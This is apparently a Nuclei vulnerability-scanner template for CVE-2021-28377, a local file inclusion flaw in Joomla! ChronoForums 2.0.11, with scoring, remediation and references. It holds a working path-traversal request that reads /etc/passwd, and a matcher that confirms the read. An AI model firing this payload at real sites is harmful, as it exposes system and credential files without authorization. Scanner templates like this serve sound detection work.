id: CVE-2021-28377

info:
  name: Joomla! ChronoForums 2.0.11 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing remote code execution.
  remediation: |
    Update Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://herolab.usd.de/en/security-advisories/usd-2021-0007/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28377
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28377
    cwe-id: CWE-22
    epss-score: 0.00106
    epss-percentile: 0.42913
    cpe: cpe:2.3:a:chronoengine:chronoforums:2.0.11:*:*:*:*:joomla:*:*
  metadata:
    max-request: 1
    vendor: chronoengine
    product: chronoforums
    framework: joomla
  tags: cve2021,cve,chronoforums,lfi,joomla,chronoengine

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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